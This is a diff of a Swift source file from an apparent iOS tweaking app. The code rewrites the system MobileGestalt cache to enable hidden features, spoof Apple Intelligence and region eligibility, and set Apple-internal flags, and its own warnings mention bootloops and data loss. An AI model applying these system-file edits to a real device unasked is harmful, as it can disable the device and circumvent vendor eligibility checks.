"Experimental and high risk; This is a very dangerous tweak to use! If you use an alphanumeric passcode, DO NOT USE THIS TWEAK AT ALL! Please do not turn off \"Show Dock In Stage Manager\" or your device will BOOTLOOP when rotating to landscape! Some users have also reported that enabling the iPadOS UI and then tapping Stage Manager can cause the device to enter Recovery Mode, even when the UI itself appears unchanged. The Settings search bar may move to the top before this happens. With these three things in mind, you may experience general instability, or other major issues such as app data randomly disappearing. But I guess some funny multitasking features that still make the device relatively unusable are cool? Whatever dude, I'm not here to tell you how to use your own device.", - r: { dict in - guard let cache_extra = dict["CacheExtra"] as? NSMutableDictionary else { return false } - let values: [String: Int] = [ - "mG0AnH/Vy1veoqoLRAIgTA": 1, - "UCG5MkVahJxG1YULbbd5Bg": 1, - "ZYqko/XM5zD3XBfN5RmaXA": 1, - "nVh/gwNpy7Jv1NOk00CMrw": 1, - "uKc7FPnEO++lVhHWHFlGbQ": 1, - ] - return values.allSatisfy { key, value in - (cache_extra[key] as? Int) == value - } - }, - w_on: { dict in - guard let cache_data = dict["CacheData"] as? NSMutableData, - let cache_extra = dict["CacheExtra"] as? NSMutableDictionary, - let value_off = cache_data_safe_offset("mtrAoWJ3gsq+I90ZnQ0vQw", in: cache_data) else { return } - - cache_data.mutableBytes.storeBytes(of: 3, toByteOffset: value_off, as: Int.self) - - let values: [String: Int] = [ - "mG0AnH/Vy1veoqoLRAIgTA": 1, - "UCG5MkVahJxG1YULbbd5Bg": 1, - "ZYqko/XM5zD3XBfN5RmaXA": 1, - "nVh/gwNpy7Jv1NOk00CMrw": 1, - "uKc7FPnEO++lVhHWHFlGbQ": 1, - ] - - for (key, value) in values { - cache_extra[key] = value - } - }, - w_off: { dict in - guard let cache_data = dict["CacheData"] as? NSMutableData, - let cache_extra = dict["CacheExtra"] as? NSMutableDictionary, - let value_off = cache_data_safe_offset("mtrAoWJ3gsq+I90ZnQ0vQw", in: cache_data) else { return } - - cache_data.mutableBytes.storeBytes(of: 1, toByteOffset: value_off, as: Int.self) - - let keys = ["mG0AnH/Vy1veoqoLRAIgTA", "UCG5MkVahJxG1YULbbd5Bg", "ZYqko/XM5zD3XBfN5RmaXA", "nVh/gwNpy7Jv1NOk00CMrw", "uKc7FPnEO++lVhHWHFlGbQ"] - for key in keys { - cache_extra.removeObject(forKey: key) - } - } - ), - - mg_tweak( - title: "Internal Features", - minv: nil, - info_t: nil, - info_msg: nil, - r: { dict in - guard let cache_data = dict["CacheData"] as? NSMutableData, - let off = cache_data_safe_offset("EqrsVvjcYDdxHBiQmGhAWw", in: cache_data) else { return false } - return cache_data.bytes.load(fromByteOffset: off, as: Int.self) == 1 - }, - w_on: { dict in - guard let cache_data = dict["CacheData"] as? NSMutableData, - let off_apple_internal_install = cache_data_safe_offset("EqrsVvjcYDdxHBiQmGhAWw", in: cache_data), - let off_has_internal_settings_bundle = cache_data_safe_offset("Oji6HRoPi7rH7HPdWVakuw", in: cache_data), - let off_internal_build = cache_data_safe_offset("LBJfwOEzExRxzlAnSuI7eg", in: cache_data) else { return } - - cache_data.mutableBytes.storeBytes(of: 1, toByteOffset: off_apple_internal_install, as: Int.self) - cache_data.mutableBytes.storeBytes(of: 1, toByteOffset: off_has_internal_settings_bundle, as: Int.self) - cache_data.mutableBytes.storeBytes(of: 1, toByteOffset: off_internal_build, as: Int.self) - }, - w_off: { dict in - guard let cache_data = dict["CacheData"] as? NSMutableData, - let off_apple_internal_install = cache_data_safe_offset("EqrsVvjcYDdxHBiQmGhAWw", in: cache_data), - let off_has_internal_settings_bundle = cache_data_safe_offset("Oji6HRoPi7rH7HPdWVakuw", in: cache_data), - let off_internal_build = cache_data_safe_offset("LBJfwOEzExRxzlAnSuI7eg", in: cache_data) else { return } - - cache_data.mutableBytes.storeBytes(of: 0, toByteOffset: off_apple_internal_install, as: Int.self) - cache_data.mutableBytes.storeBytes(of: 0, toByteOffset: off_has_internal_settings_bundle, as: Int.self) - cache_data.mutableBytes.storeBytes(of: 0, toByteOffset: off_internal_build, as: Int.self) - } - ) -] - -extension mg_tweak { - func is_on(in dict: NSMutableDictionary) -> Bool { return r(dict) } - func apply_on(to dict: NSMutableDictionary) { w_on(dict) } - func apply_off(to dict: NSMutableDictionary) { w_off(dict) } - - func supported() -> Bool { - guard let minv = minv else { return true } - return doubleSystemVersion() >= minv - } -} - -func is_device_good() -> Bool { - let supported: [String] = ["iPhone15,2", "iPhone15,3", "iPhone15,4", "iPhone15,5", "iPhone16,1", "iPhone16,2", "iPhone17,3", "iPhone17,4", "iPhone17,1", "iPhone17,2", "iPhone18,3", "iPhone18,1", "iPhone18,2", "iPhone17,5"] - - if supported.contains(machine_name()) && doubleSystemVersion() < 19.0 { - return true - } - - return false -} - -func machine_name() -> String { - var sys_info = utsname() - uname(&sys_info) - let machine_mirror = Mirror(reflecting: sys_info.machine) - - return machine_mirror.children.reduce("") { identifier, element in - guard let value = element.value as? Int8, value != 0 else { return identifier } - return identifier + String(UnicodeScalar(UInt8(value))) - } -} - -var _cache_data_offsets: [String: Int] = [:] - -func cache_data_offset(_ key: String) -> Int { - if let cached = _cache_data_offsets[key] { - return cached - } - - let lib_mg = "/usr/lib/libMobileGestalt.dylib" - dlopen(lib_mg, RTLD_GLOBAL) - - var header: UnsafePointer? - for i in 0..<_dyld_image_count() { - if String(cString: _dyld_get_image_name(i)) == lib_mg { - header = unsafeBitCast(_dyld_get_image_header(i), to: UnsafePointer.self) - break - } - } - guard let header else { return 0 } - - var text_size = 0 - guard let cstring = getsectiondata(header, "__TEXT", "__cstring", &text_size) else { return 0 } - let cstr = cstring.withMemoryRebound(to: CChar.self, capacity: text_size) { $0 } - - var key_ptr = cstr - while Int(key_ptr - cstr) < text_size { - if String(cString: key_ptr) == key { break } - key_ptr += strlen(key_ptr) + 1 - } - - var const_size = 0 - var ptr = getsectiondata(header, "__AUTH_CONST", "__const", &const_size)?.withMemoryRebound(to: UInt.self, capacity: const_size / 8) { $0 } - if ptr == nil { - ptr = getsectiondata(header, "__DATA_CONST", "__const", &const_size)?.withMemoryRebound(to: UInt.self, capacity: const_size / 8) { $0 } - } - - guard let ptr else { return 0 } - for i in 0.. Int? { - let offset = cache_data_offset(key) - guard offset > 0, offset <= data.length - MemoryLayout.size else { return nil } - return offset -} - -let state = AppState.shared - -let mg_device_name_key = "mg_device_name" -var mg_device_name: String { - get { - UserDefaults.standard.string(forKey: mg_device_name_key) ?? "" - } - set { - UserDefaults.standard.set(newValue, forKey: mg_device_name_key) - } -} - -var og_st: Int = 0 -var selected_st: String = "og" - -var selected_st_value: Int { - switch selected_st { - case "og": - return og_st - case "no_dynamic_island": - return 0 - case "14p": - return 2436 - case "14pm": - return 2796 - case "15pm": - return 2976 - case "16p": - return 2622 - case "16pm": - return 2868 - case "air": - return 2736 - case "x": - return 2436 - default: - return 0 - } -} - -private var st_to_sel: [Int: String] { - [ - 0: "no_dynamic_island", - 2436: "14p", - 2796: "14pm", - 2976: "15pm", - 2622: "16p", - 2868: "16pm", - 2736: "air" - ] -} - -func tweak(_ title: String) -> mg_tweak? { - all_tweaks.first { $0.title == title } -} - -var is_loading: Bool = false -var is_empty: Bool = false - -var enable_device_name: Bool = false -var og_device_name: String = "" -var product_type: String = "" - -var is_valid: Bool = true - -func mg_load() { - guard !is_loading, mg_dict_now.count == 0 else { return } - is_loading = true - - let mg_url_now = URL(fileURLWithPath: TweakPaths.gestalt) - - DispatchQueue.global(qos: .userInitiated).async { - do { - let file_size = (try? FileManager.default.attributesOfItem(atPath: mg_url_now.path))?[.size] as? UInt64 ?? 0 - - let loaded_dict = try NSMutableDictionary(contentsOf: mg_url_now, error: ()) - - // this'll cache gestalt and put it in a safe place - let mg_url_saved = URL(fileURLWithPath: AppPaths.backups).appendingPathComponent("SavedGestalt.plist") - - if !FileManager.default.fileExists(atPath: mg_url_saved.path) { - try FileManager.default.copyItem(at: mg_url_now, to: mg_url_saved) - } - - // get og gestalt values - let mg_saved_dict = try NSMutableDictionary(contentsOf: mg_url_saved, error: ()) - let og_cache_extra = mg_saved_dict["CacheExtra"] as? NSMutableDictionary ?? NSMutableDictionary() - let og_artwork = og_cache_extra["oPeik/9e8lQWMszEjbPzng"] as? NSMutableDictionary ?? NSMutableDictionary() - - guard let og_subtype = og_artwork["ArtworkDeviceSubType"] as? Int else { throw mg_view_err.missing_artwork_st } - guard let og_device_name = og_artwork["ArtworkDeviceProductDescription"] as? String else { throw mg_view_err.missing_artwork_device_name } - - let cache_extra = loaded_dict["CacheExtra"] as? NSMutableDictionary ?? NSMutableDictionary() - let artwork = cache_extra["oPeik/9e8lQWMszEjbPzng"] as? NSMutableDictionary ?? NSMutableDictionary() - - let new_selected_st = st_to_sel[artwork["ArtworkDeviceSubType"] as? Int ?? og_subtype] ?? "og" - let new_device_name = artwork["ArtworkDeviceProductDescription"] as? String ?? og_device_name - let new_enable_device_name = new_device_name != og_device_name - - let new_product_type: String - if let productType = cache_extra["h9jDsbgj7xIVeIQ8S3/X3Q"] as? String, !productType.isEmpty { - new_product_type = productType - } else { - new_product_type = machine_name() - } - - DispatchQueue.main.async { - mg_dict_now = loaded_dict - og_st = og_subtype - selected_st = new_selected_st - mg_device_name = new_device_name - enable_device_name = new_enable_device_name - product_type = new_product_type - is_valid = true - is_empty = file_size == 0 - is_loading = false - } - } catch { - DispatchQueue.main.async { - print("(mg) failed to load data: \(error)") - is_valid = false - is_empty = (try? FileManager.default.attributesOfItem(atPath: mg_url_now.path))?[.size] as? UInt64 == 0 - is_loading = false - Alertinator.shared.alert(title: "Failed to load current MobileGestalt!", body: "Restart the app and try again. Check logs for more detailed information.") - } - } - } -} - -func mg_apply() { - do { - let cache_extra = mg_dict_now["CacheExtra"] as? NSMutableDictionary ?? NSMutableDictionary() - if !product_type.isEmpty { - cache_extra["h9jDsbgj7xIVeIQ8S3/X3Q"] = product_type - } - - let artwork_dict = cache_extra["oPeik/9e8lQWMszEjbPzng"] as? NSMutableDictionary ?? NSMutableDictionary() - artwork_dict["ArtworkDeviceSubType"] = selected_st_value - if enable_device_name { - artwork_dict["ArtworkDeviceProductDescription"] = mg_device_name - } - - let data = try PropertyListSerialization.data(fromPropertyList: mg_dict_now, format: .xml, options: 0) - - try mg_write(data) - mg_dict_now = NSMutableDictionary() - enable_device_name = false - - print("(mg) successfully overwrote mobilegestalt!") - Alertinator.shared.alert(title: "Successfully applied Gestalt tweaks!", body: "Respring your device for changes to take effect. Note that some tweaks may require a reboot for them to apply properly.", actionLabel: "Respring", action: { - state.respring() - }) - } catch { - print("(mg) failed to apply mobilegestalt: \(error)") - Alertinator.shared.alert(title: "Failed to apply MobileGestalt!", body: "Restart the app and try again. Check logs for more detailed information.") - } -} - -func mg_revert() { - do { - let backup_url = URL(fileURLWithPath: AppPaths.backups).appendingPathComponent("SavedGestalt.plist") - let backup_data = try Data(contentsOf: backup_url) - try mg_write(backup_data) - - print("(mg) successfully reverted mobilegestalt!)") - Alertinator.shared.alert(title: "Successfully reverted Gestalt tweaks!", body: "Reboot your device for changes to take effect.") - } catch { - print("(mg) failed to revert mobilegestalt: \(error)") - Alertinator.shared.alert(title: "Failed to revert MobileGestalt!", body: "Check logs for error information.") - } -} - -private enum mg_write_err: Error { - case open(errno: Int32) - case truncate(errno: Int32) - case write(errno: Int32) - case sync(errno: Int32) - case rollback(errno: Int32) - case verificationFailed -} - -private func read_all(_ fd: Int32) throws -> Data { - var res = Data() - var buf = [UInt8](repeating: 0, count: 64 * 1024) - - while true { - let count = buf.withUnsafeMutableBytes { rawBuffer in - read(fd, rawBuffer.baseAddress, rawBuffer.count) - } - - if count > 0 { - res.append(buf, count: count) - continue - } - - if count == 0 { - return res - } - - if errno == EINTR { - continue - } - - throw mg_write_err.verificationFailed - } -} - -private func write_all(_ fd: Int32, _ data: Data) throws { - guard !data.isEmpty else { return } - - try data.withUnsafeBytes { rawBuffer in - guard let base = rawBuffer.baseAddress else { - throw mg_write_err.write(errno: EFAULT) - } - - var offset = 0 - - while offset < data.count { - let res = write( - fd, - base.advanced(by: offset), - data.count - offset - ) - - if res > 0 { - offset += res - continue - } - - if res < 0 && errno == EINTR { - continue - } - - throw mg_write_err.write(errno: errno) - } - } -} - -func mg_write(_ data: Data, to path: String) throws { - let og = try Data(contentsOf: URL(fileURLWithPath: path)) - - let fd = path.withCString { - open($0, O_RDWR | O_CLOEXEC | O_NOFOLLOW) - } - - guard fd >= 0 else { - throw mg_write_err.open(errno: errno) - } - - defer { - close(fd) - } - - do { - guard ftruncate(fd, 0) == 0 else { - throw mg_write_err.truncate(errno: errno) - } - - try write_all(fd, data) - - guard fsync(fd) == 0 else { - throw mg_write_err.sync(errno: errno) - } - - guard lseek(fd, 0, SEEK_SET) >= 0 else { - throw mg_write_err.verificationFailed - } - - let verify = try read_all(fd) - - guard verify == data else { - throw mg_write_err.verificationFailed - } - } catch { - if ftruncate(fd, 0) == 0, - lseek(fd, 0, SEEK_SET) >= 0 { - _ = try? write_all(fd, og) - _ = fsync(fd) - } - - throw error - } -} - - -func mg_write(_ data: Data) throws { - let path = TweakPaths.gestalt - - if UserDefaults.standard.bool(forKey: "atomic_write") { - try mg_write(data, to: path) - } else { - let target_url = URL(fileURLWithPath: path) - let temp_url = target_url.deletingLastPathComponent() - .appendingPathComponent(".\(target_url.lastPathComponent).\(UUID().uuidString).tmp") - - try data.write(to: temp_url, options: [.withoutOverwriting]) - defer { try? fm.removeItem(at: temp_url) } - - if fm.fileExists(atPath: target_url.path) { - _ = try fm.replaceItemAt(target_url, withItemAt: temp_url) - } else { - try fm.moveItem(at: temp_url, to: target_url) - } - } -} - -var mg_dict_now: NSMutableDictionary = NSMutableDictionary() - -func mg_tweak_binding(_ tweak: mg_tweak) -> Binding { - Binding( - get: { - tweak.is_on(in: mg_dict_now) - }, - set: { enabled in - if enabled { - tweak.apply_on(to: mg_dict_now) - } else { - tweak.apply_off(to: mg_dict_now) - } - } - ) -} - -enum mg_view_err: Error, LocalizedError { - case missing_artwork_st - case missing_artwork_device_name - - var errorDescription: String? { - switch self { - case .missing_artwork_st: - return "Failed to get ArtworkDeviceSubType!" - case .missing_artwork_device_name: - return "Failed to get ArtworkDeviceProductDescription!" - } - } -} +// +// mg.swift +// mond +// +// Created by ruter on 16.07.26. +// + +import SwiftUI +import PartyUI +import Darwin +import MachO +import UIKit + +struct mg_tweak { + let title: String + let minv: Double? + let info_t: InfoType? + let info_msg: String? + + let r: (NSMutableDictionary) -> Bool + let w_on: (NSMutableDictionary) -> Void + let w_off: (NSMutableDictionary) -> Void + + enum InfoType { + case info + case warning + case error + } +} + +extension mg_tweak { + private static func cache_extra(_ dict: NSMutableDictionary) -> NSMutableDictionary? { + if let extra = dict["CacheExtra"] as? NSMutableDictionary { + return extra + } + guard let extra = dict["CacheExtra"] as? NSDictionary else { return nil } + let mutable = NSMutableDictionary(dictionary: extra) + dict["CacheExtra"] = mutable + return mutable + } + + init(title: String, minv: Double? = nil, key: String, value: T) { + self.init( + title: title, + minv: minv, + info_t: nil, + info_msg: nil, + r: { dict in + guard let extra = dict["CacheExtra"] as? NSDictionary else { return false } + return extra[key] as? T == value + }, + w_on: { dict in + guard let extra = Self.cache_extra(dict) else { return } + extra[key] = value + }, + w_off: { dict in + guard let extra = Self.cache_extra(dict) else { return } + extra.removeObject(forKey: key) + } + ) + } + + init(title: String, minv: Double? = nil, keys: [String], value: T) { + self.init( + title: title, + minv: minv, + info_t: nil, + info_msg: nil, + r: { dict in + guard let extra = dict["CacheExtra"] as? NSDictionary, + let key = keys.first + else { + return false + } + return extra[key] as? T == value + }, + w_on: { dict in + guard let extra = Self.cache_extra(dict) else { return } + for key in keys { + extra[key] = value + } + }, + w_off: { dict in + guard let extra = Self.cache_extra(dict) else { return } + for key in keys { + extra.removeObject(forKey: key) + } + } + ) + } + + init(title: String, minv: Double? = nil, key: String, value: T, info_t: InfoType, info_msg: String) { + self.init( + title: title, + minv: minv, + info_t: info_t, + info_msg: info_msg, + r: { dict in + guard let extra = dict["CacheExtra"] as? NSDictionary else { return false } + return extra[key] as? T == value + }, + w_on: { dict in + guard let extra = Self.cache_extra(dict) else { return } + extra[key] = value + }, + w_off: { dict in + guard let extra = Self.cache_extra(dict) else { return } + extra.removeObject(forKey: key) + } + ) + } + + init(title: String, minv: Double? = nil, keys: [String], value: T, info_t: InfoType, info_msg: String) { + self.init( + title: title, + minv: minv, + info_t: info_t, + info_msg: info_msg, + r: { dict in + guard let extra = dict["CacheExtra"] as? NSDictionary, + let key = keys.first + else { + return false + } + return extra[key] as? T == value + }, + w_on: { dict in + guard let extra = Self.cache_extra(dict) else { return } + for key in keys { + extra[key] = value + } + }, + w_off: { dict in + guard let extra = Self.cache_extra(dict) else { return } + for key in keys { + extra.removeObject(forKey: key) + } + } + ) + } +} + +private let region_code_key = "h63QSdBCiT/z0WU6rdQv6Q" +private let region_info_key = "yK+xavymRGZ3xWc1tb8XDg" + +let all_tweaks: [mg_tweak] = [ + mg_tweak(title: NSLocalizedString("software.enable_dynamic_island_capability", tableName: "GestaltView", comment: ""), minv: 19.0, key: "YlEtTtHlNesRBMal1CqRaA", value: 1, info_t: .info, info_msg: NSLocalizedString("software.enable_dynamic_island_capability_info", tableName: "GestaltView", comment: "")), + mg_tweak(title: NSLocalizedString("software.always_on_display", tableName: "GestaltView", comment: ""), minv: 18.0, keys: ["2OOJf1VhaM7NxfRok3HbWQ", "j8/Omm6s1lsmTDFsXjsBfA"], value: 1, info_t: .warning, info_msg: NSLocalizedString("software.always_on_display_info", tableName: "GestaltView", comment: "")), + mg_tweak(title: NSLocalizedString("software.aod_vibrancy", tableName: "GestaltView", comment: ""), minv: 18.0, key: "ykpu7qyhqFweVMKtxNylWA", value: 1, info_t: .info, info_msg: NSLocalizedString("software.aod_vibrancy_info", tableName: "GestaltView", comment: "")), + mg_tweak(title: NSLocalizedString("software.disable_wallpaper_parallax", tableName: "GestaltView", comment: ""), key: "UIParallaxCapability", value: 0, info_t: .info, info_msg: NSLocalizedString("software.disable_wallpaper_parallax_info", tableName: "GestaltView", comment: "")), + mg_tweak(title: NSLocalizedString("software.enable_liquid_glass_low_performance_mode", tableName: "GestaltView", comment: ""), minv: 19.0, key: "SAGvsp6O6kAQ4fEfDJpC4Q", value: 1, info_t: .info, info_msg: NSLocalizedString("software.enable_liquid_glass_low_performance_mode_info", tableName: "GestaltView", comment: "")), + mg_tweak(title: NSLocalizedString("software.disable_liquid_glass_low_performance_mode", tableName: "GestaltView", comment: ""), minv: 19.0, key: "SAGvsp6O6kAQ4fEfDJpC4Q", value: 0, info_t: .info, info_msg: NSLocalizedString("software.disable_liquid_glass_low_performance_mode_info", tableName: "GestaltView", comment: "")), + mg_tweak(title: NSLocalizedString("software.boot_shutdown_chime", tableName: "GestaltView", comment: ""), key: "QHxt+hGLaBPbQJbXiUJX3w", value: 1, info_t: .info, info_msg: NSLocalizedString("software.boot_shutdown_chime_info", tableName: "GestaltView", comment: "")), + mg_tweak(title: NSLocalizedString("software.charge_limit_menu", tableName: "GestaltView", comment: ""), minv: 17.0, key: "37NVydb//GP/GrhuTN+exg", value: 1, info_t: .info, info_msg: NSLocalizedString("software.charge_limit_menu_info", tableName: "GestaltView", comment: "")), + mg_tweak(title: NSLocalizedString("hardware.tap_to_wake", tableName: "GestaltView", comment: ""), key: "yZf3GTRMGTuwSV/lD7Cagw", value: 1, info_t: .info, info_msg: NSLocalizedString("hardware.tap_to_wake_info", tableName: "GestaltView", comment: "")), + mg_tweak(title: NSLocalizedString("hardware.camera_control_settings", tableName: "GestaltView", comment: ""), minv: 18.0, keys: ["CwvKxM2cEogD3p+HYgaW0Q", "oOV1jhJbdV3AddkcCg0AEA"], value: 1, info_t: .info, info_msg: NSLocalizedString("hardware.camera_control_settings_info", tableName: "GestaltView", comment: "")), + mg_tweak(title: NSLocalizedString("ipados.apple_pencil_settings", tableName: "GestaltView", comment: ""), key: "yhHcB0iH0d1XzPO/CFd3ow", value: 1, info_t: .info, info_msg: NSLocalizedString("ipados.apple_pencil_settings_info", tableName: "GestaltView", comment: "")), + mg_tweak(title: NSLocalizedString("hardware.action_button_settings", tableName: "GestaltView", comment: ""), minv: 17.0, key: "cT44WE1EohiwRzhsZ8xEsw", value: 1, info_t: .info, info_msg: NSLocalizedString("hardware.action_button_settings_info", tableName: "GestaltView", comment: "")), + mg_tweak(title: NSLocalizedString("hardware.collision_sos", tableName: "GestaltView", comment: ""), key: "HCzWusHQwZDea6nNhaKndw", value: 1, info_t: .info, info_msg: NSLocalizedString("hardware.collision_sos_info", tableName: "GestaltView", comment: "")), + mg_tweak(title: NSLocalizedString("hardware.pulse_width_modulation", tableName: "GestaltView", comment: ""), minv: 19.0, key: "6IejgN+1Fmu5/QrZFOIeNw", value: 1), + mg_tweak(title: NSLocalizedString("eligibility.security_research_device_mode", tableName: "GestaltView", comment: ""), minv: 26.0, key: "XYlJKKkj2hztRP1NWWnhlw", value: 1, info_t: .info, info_msg: NSLocalizedString("eligibility.security_research_device_mode_info", tableName: "GestaltView", comment: "")), + mg_tweak(title: NSLocalizedString("ipados.allow_ipados_apps", tableName: "GestaltView", comment: ""), key: "9MZ5AdH43csAUajl/dU+IQ", value: [1, 2], info_t: .info, info_msg: NSLocalizedString("ipados.allow_ipados_apps_info", tableName: "GestaltView", comment: "")), + mg_tweak(title: NSLocalizedString("ipados.stage_manager_support", tableName: "GestaltView", comment: ""), key: "qeaj75wk3HF4DwQ8qbIi7g", value: 1, info_t: .info, info_msg: NSLocalizedString("ipados.stage_manager_support_info", tableName: "GestaltView", comment: "")), + mg_tweak(title: NSLocalizedString("internal.apple_internal_install", tableName: "GestaltView", comment: ""), key: "EqrsVvjcYDdxHBiQmGhAWw", value: 1, info_t: .warning, info_msg: NSLocalizedString("internal.apple_internal_install_info", tableName: "GestaltView", comment: "")), + mg_tweak(title: NSLocalizedString("internal.internal_storage_view", tableName: "GestaltView", comment: ""), key: "LBJfwOEzExRxzlAnSuI7eg", value: 1, info_t: .warning, info_msg: NSLocalizedString("internal.internal_storage_view_info", tableName: "GestaltView", comment: "")), + + mg_tweak( + title: NSLocalizedString("eligibility.disable_region_restrictions", tableName: "GestaltView", comment: ""), + minv: nil, + info_t: .info, + info_msg: NSLocalizedString("eligibility.disable_region_restrictions_info", tableName: "GestaltView", comment: ""), + r: { dict in + guard let cache_extra = dict["CacheExtra"] as? NSMutableDictionary else { return false } + return cache_extra[region_code_key] as? String == "LL" && + cache_extra[region_info_key] as? String == "LL/A" + }, + w_on: { dict in + guard let cache_extra = dict["CacheExtra"] as? NSMutableDictionary else { return } + AlertinatorLocalized.shared.alert(title: NSLocalizedString("warning", comment: ""), body: NSLocalizedString("eligibility.disable_region_restrictions_warning", tableName: "GestaltView", comment: "")) + cache_extra[region_code_key] = "LL" + cache_extra[region_info_key] = "LL/A" + }, + w_off: { dict in + guard let cache_extra = dict["CacheExtra"] as? NSMutableDictionary else { return } + cache_extra.removeObject(forKey: region_code_key) + cache_extra.removeObject(forKey: region_info_key) + } + ), + + mg_tweak( + title: NSLocalizedString("eligibility.apple_intelligence", tableName: "GestaltView", comment: ""), + minv: 18.1, + info_t: .info, + info_msg: NSLocalizedString("eligibility.apple_intelligence_info", tableName: "GestaltView", comment: ""), + r: { dict in + guard let cache_extra = dict["CacheExtra"] as? NSMutableDictionary else { return false } + return (cache_extra["A62OafQ85EJAiiqKn4agtg"] as? Int) == 1 + }, + w_on: { dict in + guard let cache_extra = dict["CacheExtra"] as? NSMutableDictionary else { return } + cache_extra["A62OafQ85EJAiiqKn4agtg"] = 1 + AlertinatorLocalized.shared.alert( + title: NSLocalizedString("eligibility.apple_intelligence_spoof", tableName: "GestaltView", comment: ""), + body: NSLocalizedString("eligibility.apple_intelligence_spoof_info", tableName: "GestaltView", comment: "") + ) + }, + w_off: { dict in + guard let cache_extra = dict["CacheExtra"] as? NSMutableDictionary else { return } + cache_extra.removeObject(forKey: "A62OafQ85EJAiiqKn4agtg") + } + ), + + mg_tweak( + title: NSLocalizedString("ipados.ipados_mode", tableName: "GestaltView", comment: ""), + minv: nil, + info_t: .warning, + info_msg: NSLocalizedString("ipados.ipados_mode_info", tableName: "GestaltView", comment: ""), + r: { dict in + guard let cache_extra = dict["CacheExtra"] as? NSMutableDictionary else { return false } + let values: [String: Int] = [ + "mG0AnH/Vy1veoqoLRAIgTA": 1, + "UCG5MkVahJxG1YULbbd5Bg": 1, + "ZYqko/XM5zD3XBfN5RmaXA": 1, + "nVh/gwNpy7Jv1NOk00CMrw": 1, + "uKc7FPnEO++lVhHWHFlGbQ": 1, + ] + return values.allSatisfy { key, value in + (cache_extra[key] as? Int) == value + } + }, + w_on: { dict in + guard let cache_data = dict["CacheData"] as? NSMutableData, + let cache_extra = dict["CacheExtra"] as? NSMutableDictionary, + let value_off = cache_data_safe_offset("mtrAoWJ3gsq+I90ZnQ0vQw", in: cache_data) else { return } + + cache_data.mutableBytes.storeBytes(of: 3, toByteOffset: value_off, as: Int.self) + + let values: [String: Int] = [ + "mG0AnH/Vy1veoqoLRAIgTA": 1, + "UCG5MkVahJxG1YULbbd5Bg": 1, + "ZYqko/XM5zD3XBfN5RmaXA": 1, + "nVh/gwNpy7Jv1NOk00CMrw": 1, + "uKc7FPnEO++lVhHWHFlGbQ": 1, + ] + + for (key, value) in values { + cache_extra[key] = value + } + }, + w_off: { dict in + guard let cache_data = dict["CacheData"] as? NSMutableData, + let cache_extra = dict["CacheExtra"] as? NSMutableDictionary, + let value_off = cache_data_safe_offset("mtrAoWJ3gsq+I90ZnQ0vQw", in: cache_data) else { return } + + cache_data.mutableBytes.storeBytes(of: 1, toByteOffset: value_off, as: Int.self) + + let keys = ["mG0AnH/Vy1veoqoLRAIgTA", "UCG5MkVahJxG1YULbbd5Bg", "ZYqko/XM5zD3XBfN5RmaXA", "nVh/gwNpy7Jv1NOk00CMrw", "uKc7FPnEO++lVhHWHFlGbQ"] + for key in keys { + cache_extra.removeObject(forKey: key) + } + } + ), + + mg_tweak( + title: NSLocalizedString("internal.internal_features", tableName: "GestaltView", comment: ""), + minv: nil, + info_t: nil, + info_msg: nil, + r: { dict in + guard let cache_data = dict["CacheData"] as? NSMutableData, + let off = cache_data_safe_offset("EqrsVvjcYDdxHBiQmGhAWw", in: cache_data) else { return false } + return cache_data.bytes.load(fromByteOffset: off, as: Int.self) == 1 + }, + w_on: { dict in + guard let cache_data = dict["CacheData"] as? NSMutableData, + let off_apple_internal_install = cache_data_safe_offset("EqrsVvjcYDdxHBiQmGhAWw", in: cache_data), + let off_has_internal_settings_bundle = cache_data_safe_offset("Oji6HRoPi7rH7HPdWVakuw", in: cache_data), + let off_internal_build = cache_data_safe_offset("LBJfwOEzExRxzlAnSuI7eg", in: cache_data) else { return } + + cache_data.mutableBytes.storeBytes(of: 1, toByteOffset: off_apple_internal_install, as: Int.self) + cache_data.mutableBytes.storeBytes(of: 1, toByteOffset: off_has_internal_settings_bundle, as: Int.self) + cache_data.mutableBytes.storeBytes(of: 1, toByteOffset: off_internal_build, as: Int.self) + }, + w_off: { dict in + guard let cache_data = dict["CacheData"] as? NSMutableData, + let off_apple_internal_install = cache_data_safe_offset("EqrsVvjcYDdxHBiQmGhAWw", in: cache_data), + let off_has_internal_settings_bundle = cache_data_safe_offset("Oji6HRoPi7rH7HPdWVakuw", in: cache_data), + let off_internal_build = cache_data_safe_offset("LBJfwOEzExRxzlAnSuI7eg", in: cache_data) else { return } + + cache_data.mutableBytes.storeBytes(of: 0, toByteOffset: off_apple_internal_install, as: Int.self) + cache_data.mutableBytes.storeBytes(of: 0, toByteOffset: off_has_internal_settings_bundle, as: Int.self) + cache_data.mutableBytes.storeBytes(of: 0, toByteOffset: off_internal_build, as: Int.self) + } + ) +] + +extension mg_tweak { + func is_on(in dict: NSMutableDictionary) -> Bool { return r(dict) } + func apply_on(to dict: NSMutableDictionary) { w_on(dict) } + func apply_off(to dict: NSMutableDictionary) { w_off(dict) } + + func supported() -> Bool { + guard let minv = minv else { return true } + return doubleSystemVersion() >= minv + } +} + +func is_device_good() -> Bool { + let supported: [String] = ["iPhone15,2", "iPhone15,3", "iPhone15,4", "iPhone15,5", "iPhone16,1", "iPhone16,2", "iPhone17,3", "iPhone17,4", "iPhone17,1", "iPhone17,2", "iPhone18,3", "iPhone18,1", "iPhone18,2", "iPhone17,5"] + + if supported.contains(machine_name()) && doubleSystemVersion() < 19.0 { + return true + } + + return false +} + +func machine_name() -> String { + var sys_info = utsname() + uname(&sys_info) + let machine_mirror = Mirror(reflecting: sys_info.machine) + + return machine_mirror.children.reduce("") { identifier, element in + guard let value = element.value as? Int8, value != 0 else { return identifier } + return identifier + String(UnicodeScalar(UInt8(value))) + } +} + +var _cache_data_offsets: [String: Int] = [:] + +func cache_data_offset(_ key: String) -> Int { + if let cached = _cache_data_offsets[key] { + return cached + } + + let lib_mg = "/usr/lib/libMobileGestalt.dylib" + dlopen(lib_mg, RTLD_GLOBAL) + + var header: UnsafePointer? + for i in 0..<_dyld_image_count() { + if String(cString: _dyld_get_image_name(i)) == lib_mg { + header = unsafeBitCast(_dyld_get_image_header(i), to: UnsafePointer.self) + break + } + } + guard let header else { return 0 } + + var text_size = 0 + guard let cstring = getsectiondata(header, "__TEXT", "__cstring", &text_size) else { return 0 } + let cstr = cstring.withMemoryRebound(to: CChar.self, capacity: text_size) { $0 } + + var key_ptr = cstr + while Int(key_ptr - cstr) < text_size { + if String(cString: key_ptr) == key { break } + key_ptr += strlen(key_ptr) + 1 + } + + var const_size = 0 + var ptr = getsectiondata(header, "__AUTH_CONST", "__const", &const_size)?.withMemoryRebound(to: UInt.self, capacity: const_size / 8) { $0 } + if ptr == nil { + ptr = getsectiondata(header, 